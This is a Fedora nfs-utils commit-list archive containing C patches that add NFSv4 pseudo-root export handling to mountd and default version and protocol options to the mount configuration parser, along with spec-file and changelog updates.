 support/include/v4root.h     |   20 ++
 utils/mountd/Makefile.am     |    2 
 utils/mountd/auth.c          |    4 
 utils/mountd/cache.c         |   69 +++++--
 utils/mountd/v4root.c        |  414 +++++++++++++++++++++++++++++++++++++++++++
 9 files changed, 511 insertions(+), 19 deletions(-)

--- NEW FILE nfs-utils-1.2.0-v4root-rel7.patch ---
diff -up nfs-utils-1.2.0/support/export/xtab.c.save nfs-utils-1.2.0/support/export/xtab.c
--- nfs-utils-1.2.0/support/export/xtab.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/export/xtab.c	2009-10-20 08:47:26.000000000 -0400
@@ -19,7 +19,9 @@
 #include "exportfs.h"
 #include "xio.h"
 #include "xlog.h"
+#include "v4root.h"
 
+int v4root_needed;
 static void cond_rename(char *newfile, char *oldfile);
 
 static int
@@ -36,6 +38,8 @@ xtab_read(char *xtab, char *lockfn, int 
 	if ((lockid = xflock(lockfn, "r")) < 0)
 		return 0;
 	setexportent(xtab, "r");
+	if (is_export == 1)
+		v4root_needed = 1;
 	while ((xp = getexportent(is_export==0, 0)) != NULL) {
 		if (!(exp = export_lookup(xp->e_hostname, xp->e_path, is_export != 1)) &&
 		    !(exp = export_create(xp, is_export!=1))) {
@@ -48,6 +52,8 @@ xtab_read(char *xtab, char *lockfn, int 
 		case 1:
 			exp->m_xtabent = 1;
 			exp->m_mayexport = 1;
+			if ((xp->e_flags & NFSEXP_FSID) && xp->e_fsid == 0)
+				v4root_needed = 0;
 			break;
 		case 2:
 			exp->m_exported = -1;/* may be exported */
diff -up nfs-utils-1.2.0/support/include/exportfs.h.save nfs-utils-1.2.0/support/include/exportfs.h
--- nfs-utils-1.2.0/support/include/exportfs.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/exportfs.h	2009-10-20 08:47:07.000000000 -0400
@@ -12,6 +12,17 @@
 #include <netdb.h>
 #include "nfslib.h"
 
+enum nfsd_fsid {
+	FSID_DEV = 0,
+	FSID_NUM,
+	FSID_MAJOR_MINOR,
+	FSID_ENCODE_DEV,
+	FSID_UUID4_INUM,
+	FSID_UUID8,
+	FSID_UUID16,
+	FSID_UUID16_INUM,
+};
+
 enum {
 	MCL_FQDN = 0,
 	MCL_SUBNETWORK,
diff -up nfs-utils-1.2.0/support/include/nfs/export.h.save nfs-utils-1.2.0/support/include/nfs/export.h
--- nfs-utils-1.2.0/support/include/nfs/export.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/nfs/export.h	2009-10-20 08:47:07.000000000 -0400
@@ -24,6 +24,7 @@
 #define NFSEXP_FSID		0x2000
 #define	NFSEXP_CROSSMOUNT	0x4000
 #define NFSEXP_NOACL		0x8000 /* reserved for possible ACL related use */
-#define NFSEXP_ALLFLAGS		0xFFFF
+#define NFSEXP_V4ROOT       0x10000
+#define NFSEXP_ALLFLAGS		0x1FFFF
 
 #endif /* _NSF_EXPORT_H */
diff -up nfs-utils-1.2.0/support/include/nfslib.h.save nfs-utils-1.2.0/support/include/nfslib.h
--- nfs-utils-1.2.0/support/include/nfslib.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/nfslib.h	2009-10-20 08:47:07.000000000 -0400
@@ -88,6 +88,7 @@ struct exportent {
 	int             e_fslocmethod;
 	char *          e_fslocdata;
 	char *		e_uuid;
+	void *		e_v4root;
 	struct sec_entry e_secinfo[SECFLAVOR_COUNT+1];
 };
 
diff -up /dev/null nfs-utils-1.2.0/support/include/v4root.h
--- /dev/null	2009-10-15 16:13:05.251004788 -0400
+++ nfs-utils-1.2.0/support/include/v4root.h	2009-10-20 08:47:16.000000000 -0400
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2009 Red Hat <nfs at redhat.com>
+ * support/include/v4root.h
+ *
+ * Support routines for dynamic pseudo roots.
+ *
+ */
+
+#ifndef V4ROOT_H
+#define V4ROOT_H
+
+extern int v4root_needed;
+
+extern struct exportent *v4root_chkroot(int , unsigned int , char *);
+extern struct exportent *v4root_export(char *, int);
+extern struct exportent *v4root_lookup(char *, nfs_export *);
+extern void v4root_free(struct exportent *);
+extern void v4root_unset(void), v4root_set(void);
+
+#endif /* V4ROOT_H */
diff -up nfs-utils-1.2.0/utils/mountd/auth.c.save nfs-utils-1.2.0/utils/mountd/auth.c
--- nfs-utils-1.2.0/utils/mountd/auth.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/auth.c	2009-10-20 08:47:26.000000000 -0400
@@ -20,6 +20,7 @@
 #include "exportfs.h"
 #include "mountd.h"
 #include "xmalloc.h"
+#include "v4root.h"
 
 enum auth_error
 {
@@ -98,10 +99,13 @@ auth_reload()
 		last_inode = stb.st_ino;
 	}
 
+	v4root_unset();
 	export_freeall();
 	memset(&my_client, 0, sizeof(my_client));
 	xtab_export_read();
 	check_useipaddr();
+	v4root_set();
+
 	++counter;
 
 	return counter;
diff -up nfs-utils-1.2.0/utils/mountd/cache.c.save nfs-utils-1.2.0/utils/mountd/cache.c
--- nfs-utils-1.2.0/utils/mountd/cache.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/cache.c	2009-10-20 08:47:21.000000000 -0400
@@ -32,23 +32,12 @@
 #include "xmalloc.h"
 #include "fsloc.h"
 #include "pseudoflavors.h"
+#include "v4root.h"
 
 #ifdef USE_BLKID
 #include "blkid/blkid.h"
 #endif
 
-
-enum nfsd_fsid {
-	FSID_DEV = 0,
-	FSID_NUM,
-	FSID_MAJOR_MINOR,
-	FSID_ENCODE_DEV,
-	FSID_UUID4_INUM,
-	FSID_UUID8,
-	FSID_UUID16,
-	FSID_UUID16_INUM,
-};
-
 /*
  * Support routines for text-based upcalls.
  * Fields are separated by spaces.
@@ -135,6 +124,8 @@ void auth_unix_gid(FILE *f)
 	if (readline(fileno(f), &lbuf, &lbuflen) != 1)
 		return;
 
+	xlog(D_CALL, "auth_unix_gid: '%s'", lbuf);
+
 	cp = lbuf;
 	if (qword_get_int(&cp, &uid) != 0)
 		return;
@@ -391,6 +382,12 @@ void nfsd_fh(FILE *f)
 
 	auth_reload();
 
+	/* Check to see if the kenel is looking for the pseudo root */
+	if ((found = v4root_chkroot(fsidtype, fsidnum, fhuuid))) {
+		found_path = strdup(found->e_path);
+		goto found;
+	}
+
 	/* Now determine export point for this fsid/domain */
 	for (i=0 ; i < MCL_MAXTYPES; i++) {
 		nfs_export *next_exp;
@@ -511,7 +508,23 @@ void nfsd_fh(FILE *f)
 		 */
 		goto out;
 	}
+	if (!found) {
+		/*
+		 * See if this is a pesudo export
+		 */
+		switch(fsidtype) {
+		case FSID_UUID4_INUM:
+		case FSID_UUID8:
+		case FSID_UUID16:
+		case FSID_UUID16_INUM:
+			found = v4root_export(fhuuid, uuidlen);
+			break;
+		}
+		if (found)
+			found_path = strdup(found->e_path);
+	}
 
+found:
 	if (found)
 		if (cache_export_ent(dom, found, found_path) < 0)
 			found = 0;
@@ -629,6 +642,7 @@ void nfsd_export(FILE *f)
 	int found_type = 0;
 	struct in_addr addr;
 	struct hostent *he = NULL;
+	struct exportent *v4root = NULL;
 
 
 	if (readline(fileno(f), &lbuf, &lbuflen) != 1)
@@ -663,10 +677,18 @@ void nfsd_export(FILE *f)
 				     path[l] == '/' &&
 				     is_mountpoint(path)))
 					/* ok */;
-				else
+				else {
+					/* See if the path is part of the psuedo root */
+					if (v4root_needed && !v4root) 
+						v4root = v4root_lookup(path, exp); 
 					continue;
-			} else if (strcmp(path, exp->m_export.e_path) != 0)
+				}
+			} else if (strcmp(path, exp->m_export.e_path) != 0) {
+				/* See if the path is part of the psuedo root */
+				if (v4root_needed && !v4root) 
+					v4root = v4root_lookup(path, exp); 
 				continue;
+			}
 			if (use_ipaddr) {
 				if (he == NULL) {
 					if (!inet_aton(dom, &addr))
@@ -705,17 +727,28 @@ void nfsd_export(FILE *f)
 	}
 
 	if (found) {
+		xlog(D_CALL, "nfsd_export: found: path %s", path);
 		if (dump_to_cache(f, dom, path, &found->m_export) < 0) {
 			xlog(L_WARNING,
 			     "Cannot export %s, possibly unsupported filesystem"
 			     " or fsid= required", path);
 			dump_to_cache(f, dom, path, NULL);
 		}
-	} else {
+	} else if (v4root) {
+		xlog(D_CALL, "nfsd_export: vroot: path %s", path);
+		dump_to_cache(f, dom, path, v4root);
+		found = (nfs_export *)v4root;
+	} else { 
 		dump_to_cache(f, dom, path, NULL);
 	}
  out:
-	xlog(D_CALL, "nfsd_export: found %p path %s", found, path ? path : NULL);
+	/*
+	 * If a psuedo export was create and its not needed
+	 * free it up.
+	 */
+	if (v4root && found != (nfs_export *)v4root)
+		v4root_free(v4root);
+
 	if (dom) free(dom);
 	if (path) free(path);
 	if (he) free(he);
@@ -743,7 +776,9 @@ void cache_open(void) 
 		if (!manage_gids && cachelist[i].cache_handle == auth_unix_gid)
 			continue;
 		sprintf(path, "/proc/net/rpc/%s/channel", cachelist[i].cache_name);
-		cachelist[i].f = fopen(path, "r+");
+		if ((cachelist[i].f = fopen(path, "r+")) == NULL)
+			xlog(L_ERROR, "cache_open: Unable to open '%s': errno %d (%s)", 
+				path, errno, strerror(errno));
 	}
 }
 
diff -up nfs-utils-1.2.0/utils/mountd/Makefile.am.save nfs-utils-1.2.0/utils/mountd/Makefile.am
--- nfs-utils-1.2.0/utils/mountd/Makefile.am.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/Makefile.am	2009-10-20 08:47:16.000000000 -0400
@@ -8,7 +8,7 @@ KPREFIX		= @kprefix@
 sbin_PROGRAMS	= mountd
 
 mountd_SOURCES = mountd.c mount_dispatch.c auth.c rmtab.c cache.c \
-		 svc_run.c fsloc.c mountd.h
+		 svc_run.c fsloc.c v4root.c mountd.h
 mountd_LDADD = ../../support/export/libexport.a \
 	       ../../support/nfs/libnfs.a \
 	       ../../support/misc/libmisc.a \
diff -up /dev/null nfs-utils-1.2.0/utils/mountd/v4root.c
--- /dev/null	2009-10-15 16:13:05.251004788 -0400
+++ nfs-utils-1.2.0/utils/mountd/v4root.c	2009-10-20 08:47:33.000000000 -0400
@@ -0,0 +1,414 @@
+/*
+ * Copyright (C) 2009 Red Hat <nfs at redhat.com>
+ *
+ * support/export/v4root.c
+ *
+ * Routines used to support NFSv4 pseudo roots
+ *
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/queue.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <ctype.h>
+
+#include <uuid/uuid.h>
+#include <unistd.h>
+#include <errno.h>
+
+#include "xlog.h"
+#include "exportfs.h"
+#include "nfslib.h"
+#include "misc.h"
+#include "v4root.h"
+
+#ifndef _PATH_PSEUDO_ROOT
+#define _PATH_PSEUDO_ROOT		"/"
+#endif
+
+#ifndef _PSEUDO_ROOT_FSID
+#define _PSEUDO_ROOT_FSID	0
+#endif
+
+extern int get_uuid(char *path, char *uuid, int uuidlen, char *u);
+
+#define HASH_TABLE_SIZE 1021
+typedef struct _hash_head {
+	TAILQ_HEAD(export_list, _exports_t) h_head;
+} hash_head;
+hash_head exports_tbl[HASH_TABLE_SIZE];
+
+typedef struct _exports_t {
+	TAILQ_ENTRY(_exports_t) list;
+	char *path;
+	hash_head *head;
+	char uuid_len;
+	char uuid[sizeof(uuid_t)];
+	struct exportent p_export;
+} exports_t;
+
+
+
+static exports_t *hash_export_lookup(char *, unsigned int);
+static void hash_export_add(struct _exports_t *, int);
+static void hash_mount_free(void);
+
+static inline unsigned int strtoint(char *str, int len)
+{
+	unsigned int n = 0;
+	int i;
+
+	for (i=0; i < len; i++)
+		n+=((int)str[i])*i;
+	return n;
+}
+static inline int hashint(unsigned int num)
+{
+	return num % HASH_TABLE_SIZE;
+}
+#define HASH(_s, _l) hashint(strtoint((_s), (_l)))
+void v4root_set(void);
+void v4root_unset(void);
+static int v4root_support(void);
+
+static struct exportent *v4root_create(char *, nfs_export *);
+
+int v4root_needed;
+
+static nfs_export pr_export = {
+	.m_next = NULL,
+	.m_client = NULL,
+	.m_export = {
+		.e_hostname = "*",
+		.e_path = _PATH_PSEUDO_ROOT,
+		.e_flags = NFSEXP_READONLY | NFSEXP_ROOTSQUASH
+				| NFSEXP_NOSUBTREECHECK | NFSEXP_FSID
+				| NFSEXP_CROSSMOUNT | NFSEXP_V4ROOT,
+		.e_anonuid = 65534,
+		.e_anongid = 65534,
+		.e_squids = NULL,
+		.e_nsquids = 0,
+		.e_sqgids = NULL,
+		.e_nsqgids = 0,
+		.e_fsid = 0,
+		.e_mountpoint = NULL,
+	},
+	.m_exported = 0,
+	.m_xtabent = 1,
+	.m_mayexport = 1,
+	.m_changed = 0,
+	.m_warned = 0,
+};
+static nfs_export *pseudo_root;
+
+/*
+ * Return the number '/' in the path
+ */
+inline static int slash_count(char *path)
+{
+	int i, slashs=0;
+
+	for (i=0; i < strlen(path); i++) {
+			if (path[i] == '/')
+				slashs++;
+	}
+	return slashs;
+}
+/*
+ * Make sure the kernel has pseudo root support.
+ */
+static int
+v4root_support()
+{
+	static int kernel_support = -1;
+	char *ptr, version[64];
+	int major, minor;
+	FILE *fp;
+
+	if (kernel_support != -1)
+		return kernel_support;
+
+	kernel_support = 0;
+	fp = fopen("/proc/fs/nfsd/exports", "r");
+	if (fp == NULL)
+		goto out;
+
+	ptr = fgets(version, 64, fp);
+	fclose(fp);
+	if (ptr == NULL)
+		goto out;
+
+	while(*ptr && isdigit(*ptr) == 0)
+		ptr++;
+	if (*ptr == '\0')
+		goto out;
+
+	major = minor = 0;
+	sscanf(ptr, " %d.%d",&major, &minor);
+	if (major >= 1 && minor >= 2)
+		kernel_support = 1;
+out:
+	if (!kernel_support) {
+		xlog(L_WARNING, "Kernel does not have pseudo root support.");
+		xlog(L_WARNING, "NFS v4 mounts will be disabled unless fsid=0");
+		xlog(L_WARNING, "is specfied in /etc/exports file.");
+	}
+
+	return kernel_support;
+}
+/*
+ * Build a table of pseudo exports by running through
+ * the real export looking at the components of the path
+ * that make up the export. Those path components, if
+ * not exported, will become pseudo exports allowing them 
+ * to be found when the kernel does an upcall looking for 
+ * components of the v4 mount.
+ */
+void
+v4root_set()
+{
+	nfs_export	*exp, *nxt;
+	int	i;
+	char *path, *ptr;
+	char *hostname;
+
+	if (!v4root_needed)
+		return;
+
+	if (!v4root_support())
+		return;
+
+	pseudo_root = &pr_export;
+
+	for (i = 0; i < MCL_MAXTYPES; i++) {
+		for (exp = exportlist[i].p_head; exp; exp = nxt) {
+			nxt = exp->m_next;
+			hostname = exp->m_export.e_hostname;
+
+			path = strdup(exp->m_export.e_path);
+			ptr = path + 1;
+			while ((ptr = strchr(ptr, '/')) != NULL) {
+				*ptr = '\0';
+				if (export_lookup(hostname, path, 0) == NULL)
+					if (v4root_create(path, exp) == NULL) {
+						xlog(L_WARNING, "v4root_set: Unable to create"
+							"pseudo export for '%s'", path);
+						break;
+					}
+				*ptr = '/';
+				ptr++;
+			}
+
+			free(path);
+		}
+	}
+}
+
+/*
+ * Unset the pseudo root export
+ */
+void
+v4root_unset()
+{
+	pseudo_root = NULL;
+	hash_mount_free();
+}
+
+/*
+ * The kernel will do an upcall looking for the pseudo
+ * root via its fsid. When the wanted fsid equals 
+ * PSEUDO_ROOT_FSID return the pseudo root export.
+ */
+struct exportent *
+v4root_chkroot(int fsidtype, unsigned int fsidnum, char *fhuuid)
+{
+	if (pseudo_root == NULL)
+		return NULL;
+
+	if (fsidtype != FSID_NUM)
+		return NULL;
+
+	if (fsidnum != _PSEUDO_ROOT_FSID)
+		return NULL;
+
+	return &pseudo_root->m_export;
+}
+
+/*
+ * Create a pseudo export, if one does not 
+ * already exist.
+ */
+static struct exportent *
+v4root_create(char *path, nfs_export *exp)
+{
+	static struct exportent *p_export = NULL;
+	exports_t *pexp;
+	char uuid_len = sizeof(uuid_t);
+	char uuid[sizeof(uuid_t)];
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	/* Check to see if the export already exists */
+	get_uuid(path, NULL, uuid_len, uuid);
+	if ((p_export = v4root_export(uuid, uuid_len)) != NULL)
+		return p_export;
+
+	pexp = (exports_t *)malloc(sizeof(exports_t));
+	if (pexp == NULL) {
+		xlog(L_WARNING, "v4root_create: No memory for pseudo export");
+		return NULL;
+	}
+	p_export = &pexp->p_export;
+	pexp->path = strdup(path);
+	if (pexp->path == 0) {
+		xlog(L_WARNING, "v4root_create: No memory for pseudo path");
+		free(pexp);
+		return NULL;
+	}
+	pexp->uuid_len = uuid_len;
+	memcpy(pexp->uuid, uuid, uuid_len);
+
+	dupexportent(&pexp->p_export, &pr_export.m_export);
+	strcpy(p_export->e_path, path);
+	p_export->e_flags &= ~NFSEXP_FSID;
+	p_export->e_v4root = (void *)pexp;
+
+	hash_export_add(pexp, HASH(pexp->uuid, sizeof(uuid_t)));
+
+	xlog(D_CALL, "v4root_create: path '%s'", p_export->e_path);
+
+	return p_export;
+}
+
+/*
+ * See if the  pseudo export exists
+ */
+struct exportent *
+v4root_lookup(char *path, nfs_export *exp)
+{
+	static struct exportent *p_export = NULL;
+	char *epath = exp->m_export.e_path;
+	int elen, plen;
+	char uuid_len = sizeof(uuid_t);
+	char uuid[sizeof(uuid_t)];
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	/* Path needs to be a subset of e_path */
+	elen = strlen(epath);
+	plen = strlen(path);
+	if (plen >= elen)
+		return NULL;
+
+	if (memcmp(path, epath, plen) != 0)
+		return NULL;
+
+	/* Now to see if the export exists */
+	get_uuid(path, NULL, uuid_len, uuid);
+	p_export = v4root_export(uuid, uuid_len);
+
+	return p_export;
+}
+
+/*
+ * Free a pseudo export
+ */
+void
+v4root_free(struct exportent *p_export)
+{
+	exports_t *pexp = (exports_t *)p_export->e_v4root;
+	hash_head *head = (hash_head *)pexp->head;
+
+	free(pexp->path);
+	TAILQ_REMOVE(&head->h_head, pexp, list);
+}
+
+/*
+ * Return a pseudo export that match the given uuid
+ */
+struct exportent *
+v4root_export(char *fhuuid, int uuidlen)
+{
+	struct exportent *p_export = NULL;
+	exports_t *pexp;
+	int len = MIN(uuidlen, sizeof(uuid_t));
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	pexp = hash_export_lookup(fhuuid, len);
+	if (pexp) {
+		p_export = &pexp->p_export;
+		xlog(D_CALL, "v4root_export: path %s", p_export->e_path);
+	}
+	return p_export;
+}
+
+/*
+ * Add pseudo export to export table
+ */
+static void hash_export_add(struct _exports_t *exp, int hash)
+{
+	hash_head *head;
+
+	head = &(exports_tbl[hash]);
+	exp->head = head;
+
+	if (TAILQ_EMPTY(&head->h_head))
+		TAILQ_INSERT_HEAD(&head->h_head, exp, list);
+	else
+		TAILQ_INSERT_TAIL(&head->h_head, exp, list);
+}
+
+/*
+ * Lookup a pseudo export using the uuid and inode number
+ */
+static exports_t *
+hash_export_lookup(char *uuid, unsigned int uuidlen)
+{
+	exports_t *pexp;
+	hash_head *head;
+	int hash = HASH(uuid, uuidlen);
+
+	head = &(exports_tbl[hash]);
+
+	TAILQ_FOREACH(pexp, &head->h_head, list) {
+		if (memcmp(pexp->uuid, uuid, uuidlen) == 0)
+			return pexp;
+	}
+	return NULL;
+
+}
+
+/*
+ * Free up pseudo export table
+ */
+static void hash_mount_free()
+{
+	hash_head *head;
+	exports_t *e1, *e2;
+	int hash;
+
+	for (hash=0; hash < HASH_TABLE_SIZE; hash++) {
+		head = &(exports_tbl[hash]);
+		if (head == NULL)
+			continue;
+		e1 = TAILQ_FIRST(&head->h_head);
+		while (e1 != NULL) {
+			free(e1->path);
+			e2 =  TAILQ_NEXT(e1, list);
+			TAILQ_REMOVE(&head->h_head, e1, list);
+			free(e1);
+			e1 = e2;
+		}
+		TAILQ_INIT(&head->h_head);
+	}
+}


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/F-12/nfs-utils.spec,v
retrieving revision 1.246
retrieving revision 1.247
diff -u -p -r1.246 -r1.247
--- nfs-utils.spec	2 Oct 2009 15:37:17 -0000	1.246
+++ nfs-utils.spec	22 Oct 2009 20:29:52 -0000	1.247
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 16%{?dist}
+Release: 17%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -28,12 +28,11 @@ Patch102: nfs-utils-1.2.1-rc3.patch
 Patch103: nfs-utils-1.2.1-rc4.patch
 Patch104: nfs-utils-1.2.1-rc5.patch
 Patch105: nfs-utils-1.2.1-rc6.patch
-Patch106: nfs-utils-1.2.0-mount-vers4.patch
+Patch106: nfs-utils-1.2.1-rc7.patch
 
-Patch200: nfs-utils-1.2.0-v4root-rel6.patch
+Patch200: nfs-utils-1.2.0-v4root-rel7.patch
+Patch201: nfs-utils-1.2.0-mount-default.patch
 
-Patch300: nfs-utils-1.2.0-mntconf-vers.patch
-Patch301: nfs-utils-1.2.0-mntconf-negation.patch
 
 Group: System Environment/Daemons
 Provides: exportfs    = %{epoch}:%{version}-%{release}
@@ -94,9 +93,7 @@ This package also contains the mount.nfs
 %patch106 -p1
 
 %patch200 -p1
-
-%patch300 -p1
-%patch301 -p1
+%patch201 -p1
 
 # Remove .orig files
 find . -name "*.orig" | xargs rm -f
@@ -268,6 +265,13 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Thu Oct 22 2009 Steve Dickson <steved at redhat.com> 1.2.0-17
+- Updated to the latest pseudo root release (rel7).
+- Added upstream 1.2.1-rc7 patch which fixes:
+   - Stop ignoring the -o v4 option (bz 529407)
+   - Allow network protocol roll backs when proto is set
+      in the config file (bz 529864)
+
 * Fri Oct  2 2009 Steve Dickson <steved at redhat.com> 1.2.0-16
 - Fixed a whole where '-o v4' was not overriding the
   version in the conf file.


--- nfs-utils-1.2.0-mntconf-negation.patch DELETED ---


--- nfs-utils-1.2.0-mntconf-vers.patch DELETED ---


--- nfs-utils-1.2.0-mount-vers4.patch DELETED ---



From steved at fedoraproject.org  Thu Oct 22 20:36:09 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Thu, 22 Oct 2009 20:36:09 +0000 (UTC)
Subject: rpms/nfs-utils/F-12 nfs-utils-1.2.1-rc7.patch,NONE,1.1
Message-ID: <20091022203609.9A65F11C008C@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14268

Added Files:
	nfs-utils-1.2.1-rc7.patch 
Log Message:
Added nfs-utils-1.2.1-rc7.patch file



nfs-utils-1.2.1-rc7.patch:
 support/include/conffile.h |    7 ++++
 utils/mount/configfile.c   |   75 ++++++++++++++++++++++++++++++++++++++++++++-
 utils/mount/network.c      |   18 ++++++++--
 utils/mount/network.h      |    2 +
 utils/mount/nfsmount.conf  |   25 ++++++++++++---
 utils/mount/stropts.c      |    9 +++++
 6 files changed, 126 insertions(+), 10 deletions(-)

--- NEW FILE nfs-utils-1.2.1-rc7.patch ---
diff --git a/support/include/conffile.h b/support/include/conffile.h
index 672020a..fe23ec2 100644
--- a/support/include/conffile.h
+++ b/support/include/conffile.h
@@ -75,4 +75,11 @@ static inline void upper2lower(char *str)
 	while ((c = tolower(*str)))
 		*str++ = c;
 }
+
+/*
+ * Default Mount options
+ */
+extern unsigned long config_default_vers;
+extern unsigned long config_default_proto;
+
 #endif				/* _CONFFILE_H_ */
diff --git a/utils/mount/configfile.c b/utils/mount/configfile.c
index e347b0e..28b722c 100644
--- a/utils/mount/configfile.c
+++ b/utils/mount/configfile.c
@@ -20,13 +20,19 @@
 #include <config.h>
 #endif
 #include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <ctype.h>
+#include <errno.h>
 
 #include "xlog.h"
+#include "mount.h"
+#include "parse_opt.h"
+#include "network.h"
 #include "conffile.h"
 
 #define KBYTES(x)     ((x) * (1024))
@@ -185,6 +191,63 @@ void free_all(void)
 		free(entry);
 	}
 }
+static char *versions[] = {"v2", "v3", "v4", "vers", "nfsvers", NULL};
+int inline check_vers(char *mopt, char *field)
+{
+	int i;
+
+	if (strncmp("mountvers", field, strlen("mountvers")) != 0) {
+		for (i=0; versions[i]; i++) 
+			if (strcasestr(mopt, versions[i]) != NULL)
+				return 1;
+	}
+	return 0;
+}
+
+unsigned long config_default_vers;
+unsigned long config_default_proto;
+/*
+ * Check to see if a default value is being set.
+ * If so, set the appropriate global value which will 
+ * be used as the initial value in the server negation.
+ */
+int inline default_value(char *mopt)
+{
+	struct mount_options *options = NULL;
+	int dftlen = strlen("default");
+	char *field;
+
+	if (strncasecmp(mopt, "default", dftlen) != 0)
+		return 0;
+
+	field = mopt + dftlen;
+	if (strncasecmp(field, "proto", strlen("proto")) == 0) {
+		if ((options = po_split(field)) != NULL) {
+			if (!nfs_nfs_protocol(options, &config_default_proto)) {
+				xlog_warn("Unable to set default protocol : %s", 
+					strerror(errno));
+			}
+		} else {
+			xlog_warn("Unable to alloc memory for default protocol");
+		}
+	} else if (strncasecmp(field, "vers", strlen("vers")) == 0) {
+		if ((options = po_split(field)) != NULL) {
+			if (!nfs_nfs_version(options, &config_default_vers)) {
+				xlog_warn("Unable to set default version: %s", 
+					strerror(errno));
+				
+			}
+		} else {
+			xlog_warn("Unable to alloc memory for default version");
+		}
+	} else 
+		xlog_warn("Invalid default setting: '%s'", mopt);
+
+	if (options)
+		po_destroy(options);
+
+	return 1;
+}
 /*
  * Parse the given section of the configuration 
  * file to if there are any mount options set.
@@ -207,6 +270,12 @@ conf_parse_mntopts(char *section, char *arg, char *opts)
 		snprintf(buf, BUFSIZ, "%s=", node->field);
 		if (opts && strcasestr(opts, buf) != NULL)
 			continue;
+		/* 
+		 * Protocol verions can be set in a number of ways
+		 */
+		if (opts && check_vers(opts, node->field))
+			continue;
+
 		if (lookup_entry(node->field) != NULL)
 			continue;
 		buf[0] = '\0';
@@ -302,15 +371,19 @@ char *conf_get_mntopts(char *spec, char *mount_point,
 		free_all();
 		return mount_opts;
 	}
+
 	if (mount_opts) {
 		strcpy(config_opts, mount_opts);
 		strcat(config_opts, ",");
 	}
 	SLIST_FOREACH(entry, &head, entries) {
+		if (default_value(entry->opt))
+			continue;
 		strcat(config_opts, entry->opt);
 		strcat(config_opts, ",");
 	}
-	*(strrchr(config_opts, ',')) = '\0';
+	if ((ptr = strrchr(config_opts, ',')) != NULL)
+		*ptr = '\0';
 
 	free_all();
 	if (mount_opts)
diff --git a/utils/mount/network.c b/utils/mount/network.c
index bd621be..e651167 100644
--- a/utils/mount/network.c
+++ b/utils/mount/network.c
@@ -50,6 +50,7 @@
 #include "nfsrpc.h"
 #include "parse_opt.h"
 #include "network.h"
+#include "conffile.h"
 
 #define PMAP_TIMEOUT	(10)
 #define CONNECT_TIMEOUT	(20)
@@ -609,10 +610,19 @@ static int nfs_probe_nfsport(const struct sockaddr *sap, const socklen_t salen,
 	if (pmap->pm_vers && pmap->pm_prot && pmap->pm_port)
 		return 1;
 
-	if (nfs_mount_data_version >= 4)
+	if (nfs_mount_data_version >= 4) {
+		const unsigned int *probe_proto = probe_tcp_first;
+
+		/*
+		 * If the default proto has been set and 
+		 * its not TCP, start with UDP
+		 */
+		if (config_default_proto && config_default_proto != IPPROTO_TCP)
+			probe_proto =  probe_udp_first;
+
 		return nfs_probe_port(sap, salen, pmap,
-					probe_nfs3_first, probe_tcp_first);
-	else
+					probe_nfs3_first, probe_proto);
+	} else
 		return nfs_probe_port(sap, salen, pmap,
 					probe_nfs2_only, probe_udp_only);
 }
@@ -1261,7 +1271,7 @@ nfs_nfs_version(struct mount_options *options, unsigned long *version)
  * Returns TRUE if @protocol contains a valid value for this option,
  * or FALSE if the option was specified with an invalid value.
  */
-static int
+int
 nfs_nfs_protocol(struct mount_options *options, unsigned long *protocol)
 {
 	char *option;
diff --git a/utils/mount/network.h b/utils/mount/network.h
index 402e0a5..7eb89b0 100644
--- a/utils/mount/network.h
+++ b/utils/mount/network.h
@@ -57,6 +57,8 @@ int clnt_ping(struct sockaddr_in *, const unsigned long,
 struct mount_options;
 
 int nfs_nfs_version(struct mount_options *options, unsigned long *version);
+int  nfs_nfs_protocol(struct mount_options *options, unsigned long *protocol);
+
 int nfs_options2pmap(struct mount_options *,
 		      struct pmap *, struct pmap *);
 
diff --git a/utils/mount/nfsmount.conf b/utils/mount/nfsmount.conf
index f9fcfcb..9b8ff4a 100644
--- a/utils/mount/nfsmount.conf
+++ b/utils/mount/nfsmount.conf
@@ -24,14 +24,29 @@
 # All reads and writes to the 'nfsserver.foo.com' server 
 # will be done with 32k (32768 bytes) block sizes.
 #
-#[ NFSMount_Global_Options ]
+[ NFSMount_Global_Options ]
 # This statically named section defines global mount 
 # options that can be applied on all NFS mount.
 #
-# Protocol Version [2,3]
-# Nfsvers=3
-# Network Transport [Udp,Tcp,Rdma]
-# Proto=Tcp
+# Protocol Version [2,3,4]
+# This defines the default protocol version which will
+# be used to start the negotiation with the server.
+# Defaultvers=4
+#
+# Setting this option makes it mandatory the server supports the
+# given version. The mount will fail if the given version is 
+# not support by the server. 
+# Nfsvers=4
+#
+# Network Protocol [udp,tcp,rdma] (Note: values are case sensitive)
+# This defines the default network protocol which will
+# be used to start the negotiation with the server.
+# Defaultproto=tcp
+#
+# Setting this option makes it mandatory the server supports the
+# given network protocol. The mount will fail if the given network
+# protocol is not supported by the server.
+# Proto=tcp
 #
